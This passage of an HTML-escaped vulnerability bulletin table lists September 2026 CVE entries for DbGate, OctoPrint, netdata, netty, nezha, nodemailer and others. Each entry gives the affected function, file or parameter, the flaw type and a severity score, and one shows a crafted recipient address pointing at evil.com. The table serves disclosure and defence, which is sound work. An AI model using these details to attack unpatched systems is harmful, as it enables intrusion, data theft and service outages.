&lt;td&gt;A vulnerability has been found in DbGate up to 7.2.5/7.3.1-premium-beta.1. This impacts the function fs.readFile of the file packages/api/src/controllers/files.js of the component files-style Endpoint. The manipulation of the argument filePath/uri leads to path traversal. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97226&quot; target=&quot;_blank&quot;&gt;CVE-2026-97226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--Excalidraw&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Excalidraw up to 0.18.1. The impacted element is an unknown function of the file packages/excalidraw/data/restore.ts of the component Imported File Handler. Performing a manipulation of the argument customData.generationData.html results in cross site scripting. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97224&quot; target=&quot;_blank&quot;&gt;CVE-2026-97224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--langchain4j&lt;/td&gt;
&lt;td&gt;A flaw has been found in langchain4j up to 1.5.3-beta10/1.11.10-beta18/1.18.1-beta27. This vulnerability affects the function AgenticScopeSerializer.fromJson of the file AgenticScopeJsonSerializationIT.java of the component LangChain4j-agentic. This manipulation causes deserialization. Remote exploitation of the attack is possible. The attack&#039;s complexity is rated as high. It is stated that the exploitability is difficult. The exploit has been published and may be used. Upgrading to version 1.5.3-beta11, 1.11.10-beta19 and 1.18.1-beta28 is able to resolve this issue. Upgrading the affected component is advised. The project maintainer kindly explains: &quot;The issue was reported to us privately on 23 July 2026 and fixed in releases published on 29 July 2026. It is tracked as GHSA-gmwr-7wmf-mrjm. Exploitation requires an application to have enabled AgenticScope persistence, which is opt-in, and an attacker who can already write to that store. All maintained release lines have been patched.&quot;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97869&quot; target=&quot;_blank&quot;&gt;CVE-2026-97869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--MantisZip&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in MantisZip up to 0.4.5. Affected by this issue is the function Path.Combine of the file MainWindow.UI.cs of the component Preview. The manipulation results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96884&quot; target=&quot;_blank&quot;&gt;CVE-2026-96884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--O2OA&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in O2OA up to 9.5.3/10.0.2. This vulnerability affects the function list of the file o2server/x_base_core_project/src/main/java/com/x/base/core/project/connection/CipherConnectionAction.java of the component Cipher Connection Handler. Such manipulation of the argument fileUrl leads to information disclosure. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97179&quot; target=&quot;_blank&quot;&gt;CVE-2026-97179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--OctoPrint&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in OctoPrint 1.0.0. Affected by this vulnerability is the function _validate of the file src/octoprint/server/api/files.py of the component File Download API. Such manipulation of the argument filename leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94489&quot; target=&quot;_blank&quot;&gt;CVE-2026-94489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--OctoPrint&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in OctoPrint 1.0.0. Affected by this issue is the function executeSystemCommand of the file src/octoprint/server/api/system.py of the component Command API. Performing a manipulation of the argument command results in os command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94490&quot; target=&quot;_blank&quot;&gt;CVE-2026-94490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--PgBouncer&lt;/td&gt;
&lt;td&gt;Missing upper bound on the key derivation iteration count accepted during SCRAM authentication to a backend server in PgBouncer through 1.25.2 allows a malicious or compromised PostgreSQL backend to cause uncontrolled CPU consumption in PgBouncer. The resulting key derivation cannot be interrupted in frontend builds such as PgBouncer. Because PgBouncer serves all clients from a single process, one backend can in this way stop it from serving traffic for every other database and client it is pooling, so the failure of a single backend is not contained.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6669&quot; target=&quot;_blank&quot;&gt;CVE-2026-6669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--RooCMS&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in RooCMS up to 1.2.2/1.3.4/1.4RC2. This impacts the function eval of the file roocms/site_pagePHP.php of the component Frontend Rendering. Such manipulation of the argument content leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94103&quot; target=&quot;_blank&quot;&gt;CVE-2026-94103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--ScadaBR&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in ScadaBR up to 1.1. Impacted is the function EmportDwr.createExportJSON of the file /ScadaBR/export_project.htm of the component Export Project Endpoint. This manipulation causes information disclosure. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.2.0 is recommended to address this issue. Patch name: c852b4988a15bce6011ef169299ad604538f70a9. The affected component should be upgraded. Import path was already gated with Permissions.ensureAdmin(); only export was left unprotected.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94148&quot; target=&quot;_blank&quot;&gt;CVE-2026-94148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--SEMCMS&lt;/td&gt;
&lt;td&gt;A flaw has been found in SEMCMS up to 4.2. Affected by this issue is some unknown functionality of the file /Edit/php/upload_json.php of the component KindEditor Upload Interface. This manipulation of the argument imgFile causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96739&quot; target=&quot;_blank&quot;&gt;CVE-2026-96739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--WuzhiCMS&lt;/td&gt;
&lt;td&gt;A flaw has been found in WuzhiCMS up to 4.1.0. This affects an unknown function of the file /index.php?m=member&amp;amp;v=Login of the component Login. This manipulation of the argument forward causes open redirect. The attack can be initiated remotely. The exploit has been published and may be used. The only sanitization is remove_xss(), an XSS keyword/entity scrubber. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94102&quot; target=&quot;_blank&quot;&gt;CVE-2026-94102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NationalSecurityAgency--ghidra&lt;/td&gt;
&lt;td&gt;Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96273&quot; target=&quot;_blank&quot;&gt;CVE-2026-96273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NationalSecurityAgency--ghidra&lt;/td&gt;
&lt;td&gt;Ghidra versions 11.2 through 12.1.4 contain a heap out-of-bounds read vulnerability in StringManager::getCodepoint when decoding multi-byte UTF-8, UTF-16, or UTF-32 characters without validating remaining buffer length. Attackers can craft malicious binaries with constant byte stores ending in multi-byte lead units to trigger out-of-bounds reads that crash the decompiler or leak adjacent heap memory into decompiled output.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100505&quot; target=&quot;_blank&quot;&gt;CVE-2026-100505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nautobot--nautobot&lt;/td&gt;
&lt;td&gt;Nautobot is a Network Source of Truth and Network Automation Platform. From 3.0.0 until 3.1.8, the generic ApprovalWorkflowStageResponse create endpoint does not enforce approver-group membership, change permission on the object under review, or the one-response-per-user restriction applied by the intended approve and deny actions. A user with only extras.add_approvalworkflowstageresponse can submit approved responses directly, while writable user and state fields permit responses to be attributed to arbitrary users. These forged responses can satisfy min_approvers, approve the workflow, and activate its gated ScheduledJob without a legitimate approver. This issue is fixed in version 3.1.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83805&quot; target=&quot;_blank&quot;&gt;CVE-2026-83805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nautobot--nautobot&lt;/td&gt;
&lt;td&gt;Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.37 and 3.1.8, a user with extras.add_relationship or extras.change_relationship permission can store HTML or JavaScript in a Relationship description, and a user with dcim.add_modulefamily or dcim.change_modulefamily permission can store it in a Module Family name. Nautobot assigns these values to form field help_text rendered by render_field.html through Django&#039;s |safe filter without adequate neutralization. The stored content executes in the authenticated browser session of any user, including an administrator or superuser, who opens an affected create or edit form. This can enable actions as the victim, session or token theft, and further privilege escalation. This issue is fixed in versions 2.4.37 and 3.1.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83801&quot; target=&quot;_blank&quot;&gt;CVE-2026-83801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. Prior to 2.10.4, an authenticated child agent can send an oversized CHART SLOT value that str2ull_encoded passes to pluginsd_rrdset_cache_put_to_slot in src/plugins.d/pluginsd_internals.h. The accepted slot drives reallocz to request an approximately 16 GiB chart-pointer array, and allocation failure invokes fatal and aborts the parent Netdata agent, repeatedly disabling centralized monitoring while stream access persists. This issue is fixed in version 2.10.4 and nightly build 2.10.0-782-nightly.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83600&quot; target=&quot;_blank&quot;&gt;CVE-2026-83600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. Prior to 2.10.4, an authenticated child agent can send an oversized DIMENSION SLOT value that str2ull_encoded passes to pluginsd_rrddim_put_to_slot in src/plugins.d/pluginsd_internals.h without an upper bound. prd_array_create in src/database/rrdset-pluginsd-array.h can then wrap the size_t allocation calculation while retaining the original large array size, causing the subsequent initialization loop to write beyond the undersized heap allocation and crash the parent agent. This issue is fixed in version 2.10.4 and nightly build 2.10.0-782-nightly.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83601&quot; target=&quot;_blank&quot;&gt;CVE-2026-83601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. From 2.0.0 until 2.11.0, Netdata registers /api/v3/settings in src/web/api/v3/web_api_v3.c with HTTP_ACL_NOCHECK and HTTP_ACCESS_ANONYMOUS_DATA, causing unauthenticated PUT requests handled by src/web/api/v3/api_v3_settings.c to bypass operator-configured allow dashboard from IP restrictions. A network-reachable caller can persist attacker-controlled JSON in {varlib}/settings/default.json, manipulate its version counter, and use repeated near-20 MiB writes to consume disk space, although the file does not control collection or security policy. This vulnerability is fixed in 2.11.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83602&quot; target=&quot;_blank&quot;&gt;CVE-2026-83602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netgsm--Netgsm&lt;/td&gt;
&lt;td&gt;Unauthenticated Bypass Vulnerability in Netgsm &amp;lt;= 2.10.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95514&quot; target=&quot;_blank&quot;&gt;CVE-2026-95514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) in versions 4.2.0.Final through 4.2.17.Final does not enforce the RFC 9114 requirement that the :authority pseudo-header field and a literal host header field, when both present, carry the same value. A remote unauthenticated peer can send a single HEADERS frame containing both fields with differing, attacker-controlled values; the request is accepted and delivered to the application with two conflicting authorities, allowing routing, virtual-host, and access-control decisions to be bypassed when different components in the request path consult different fields. This issue is fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100659&quot; target=&quot;_blank&quot;&gt;CVE-2026-100659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty (io.netty:netty-codec-http) contains an unbounded per-connection queue in WebSocketServerExtensionHandler. The handler offers an entry to its per-channel validExtensions queue for every inbound HttpRequest, but polls an entry only when the application writes an HttpResponse, and the queue size is never bounded. A remote, unauthenticated peer can use HTTP/1.1 pipelining to send requests faster than the application produces responses - including plain non-upgrade HTTP requests to any path - causing the queue to grow without limit until the JVM exhausts heap memory and terminates with OutOfMemoryError. Because the affected handler is the base class of WebSocketServerCompressionHandler, any server that enables permessage-deflate is exposed on its plain HTTP port before any WebSocket upgrade completes and before any application-level authentication. Affected versions are 4.1.88.Final through 4.1.137.Final and 4.2.0.Final through 4.2.17.Final; the issue is fixed in 4.1.138.Final and 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100658&quot; target=&quot;_blank&quot;&gt;CVE-2026-100658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha before 2.3.8 fails to validate alert rule type and duration bounds, allowing authenticated non-administrator users to create malformed rules that trigger unrecovered panics in the alert evaluator goroutine. Attackers can submit a crafted alert rule via the POST /api/v1/alert-rule endpoint to crash the dashboard process, which persists the rule and causes repeated crashes on restart, disabling all monitoring and control plane functionality.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101085&quot; target=&quot;_blank&quot;&gt;CVE-2026-101085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha Dashboard versions before 2.3.5 fail to restrict service monitor task types to supported probe types, allowing authenticated users with nezha:service:write scope to submit privileged task types through the service API. Attackers can deliver command execution or Agent configuration tasks to Agents within their authorization scope by exploiting the shared protobuf Task.Type namespace between service monitors and privileged operations.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101086&quot; target=&quot;_blank&quot;&gt;CVE-2026-101086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha is a server and website monitoring tool. In versions &amp;gt;= 2.2.11 and &amp;lt; 2.3.1, the service sentinel worker (service/singleton/servicesentinel.go) contains an incomplete fix for a previously reported nil dereference denial of service (GHSA-qjpp-gffx-2wm9). The 2026-07-21 fix re-validated the service lifecycle under serviceResponseDataStoreLock but reused an already-captured, now stale reporter pointer and never re-validated the server, and that lock does not guard ServerShared. An authenticated user with the member role who owns an agent can issue a concurrent server delete (POST /api/v1/batch-delete/server) for their own server to win the race window, causing the worker to dereference a missing entry in the server list snapshot. Because the sentinel workers and the gRPC server have no recover()/recovery interceptor, the resulting panic is unrecovered and crashes the entire instance. This is fixed in version 2.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101088&quot; target=&quot;_blank&quot;&gt;CVE-2026-101088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha versions 2.0.10 through 2.3.2 use a restricted HTTP client to validate user-configurable notification and DDNS webhook URLs, but the denylist did not cover IPv6 transition ranges - specifically the 6to4 prefix 2002::/16 and the local-use IPv4/IPv6 translation prefix 64:ff9b:1::/48. Because such addresses satisfy Go&#039;s netip.Addr.IsGlobalUnicast check, the URL validator accepted them. An authenticated user able to configure a webhook may be able to cause the dashboard to issue requests to an otherwise restricted IPv6 endpoint, but only where the dashboard&#039;s network provides unusual or non-standards-compliant routing for these transition ranges; no direct path to an IPv4 metadata, loopback, or private-network HTTP request has been demonstrated. The issue is fixed in version 2.3.3 (commit d1fcde8e), which blocks both prefixes.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101087&quot; target=&quot;_blank&quot;&gt;CVE-2026-101087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--student-management-system&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. This impacts an unknown function of the file user/editLog.php. Such manipulation of the argument sid/addtime/type/reason/detail/logdate leads to authorization bypass. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97647&quot; target=&quot;_blank&quot;&gt;CVE-2026-97647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--student-management-system&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected is an unknown function. Performing a manipulation results in cross-site request forgery. It is possible to initiate the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97648&quot; target=&quot;_blank&quot;&gt;CVE-2026-97648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--student-management-system&lt;/td&gt;
&lt;td&gt;A flaw has been found in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected by this vulnerability is an unknown functionality of the file example_lite.sql. Executing a manipulation can lead to use of default credentials. It is possible to launch the attack remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97649&quot; target=&quot;_blank&quot;&gt;CVE-2026-97649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--student-management-system&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected by this issue is the function echo of the file admin/fun/addLog.php. The manipulation of the argument reason/detail leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97650&quot; target=&quot;_blank&quot;&gt;CVE-2026-97650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ninja Tables--Ninja Tables&lt;/td&gt;
&lt;td&gt;The Ninja Tables WordPress plugin before 5.2.17 does not restrict shortcode expansion to administrator-authored table rows which, in a non-default configuration, allows unauthenticated users to have arbitrary shortcodes executed on a public page, and to permanently break that page, by submitting an ordinary form entry.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86612&quot; target=&quot;_blank&quot;&gt;CVE-2026-86612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer is a Node.js email-sending library. In versions &amp;gt;= 9.1.0 and &amp;lt; 10.0.9, the address parser (src/addressparser) mishandles addresses whose local-part is a quoted string and that are followed by RFC 5322 comments, allowing trailing comment-separated domain atoms to be retained in the normalized address. For example, the input &quot;user&quot;@example.com(x)evil.com is parsed to the address value &#039;user@example.com evil.com&#039;, which contains additional attacker-controlled domain text separated by a literal space. This parsed value is used without further strict recipient validation when the message envelope is built (envelope.to in src/mime-node), so a malformed/ambiguous recipient address can be accepted and placed in the SMTP envelope. Whether this results in delivery to an unintended recipient on real SMTP servers has not been confirmed. The issue is a variant of the RFC 5322 comment parsing problem addressed in GHSA-cc9r-2j5m-2m83, affecting the separate quoted-local-part code path. Version 10.0.9 contains a fix.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100699&quot; target=&quot;_blank&quot;&gt;CVE-2026-100699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer versions 5.0.0 through 10.0.1 use a process-global DNS cache that is keyed only by the DNS host, while each cache entry also stores the caller-specific TLS servername. When two direct TLS/SMTPS transports (secure: true) resolve the same non-IP host with different tls.servername values, the first transport&#039;s servername is returned on the cache hit and overwrites the second transport&#039;s explicitly configured value, so Nodemailer sends the wrong SNI value and validates the peer certificate against the wrong identity. In multi-tenant services or SNI-routed SMTP gateways, an attacker who can prime the cache can cause a victim transport to connect to the attacker&#039;s TLS virtual host and accept the attacker&#039;s certificate even with rejectUnauthorized: true, disclosing the victim&#039;s SMTP credentials. Fixed in 10.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100701&quot; target=&quot;_blank&quot;&gt;CVE-2026-100701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString() conversion, exhausting the call stack and terminating the Node.js process.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100702&quot; target=&quot;_blank&quot;&gt;CVE-2026-100702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nofearinc--WP-CRM System Manage Clients and Projects&lt;/td&gt;
&lt;td&gt;The WP-CRM System - Manage Clients and Projects plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.4.6 via the &#039;contact_id&#039; parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to extract full names, email addresses, phone numbers, mobile numbers, fax numbers, and physical address information of arbitrary CRM contact records by enumerating the contact_id parameter.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
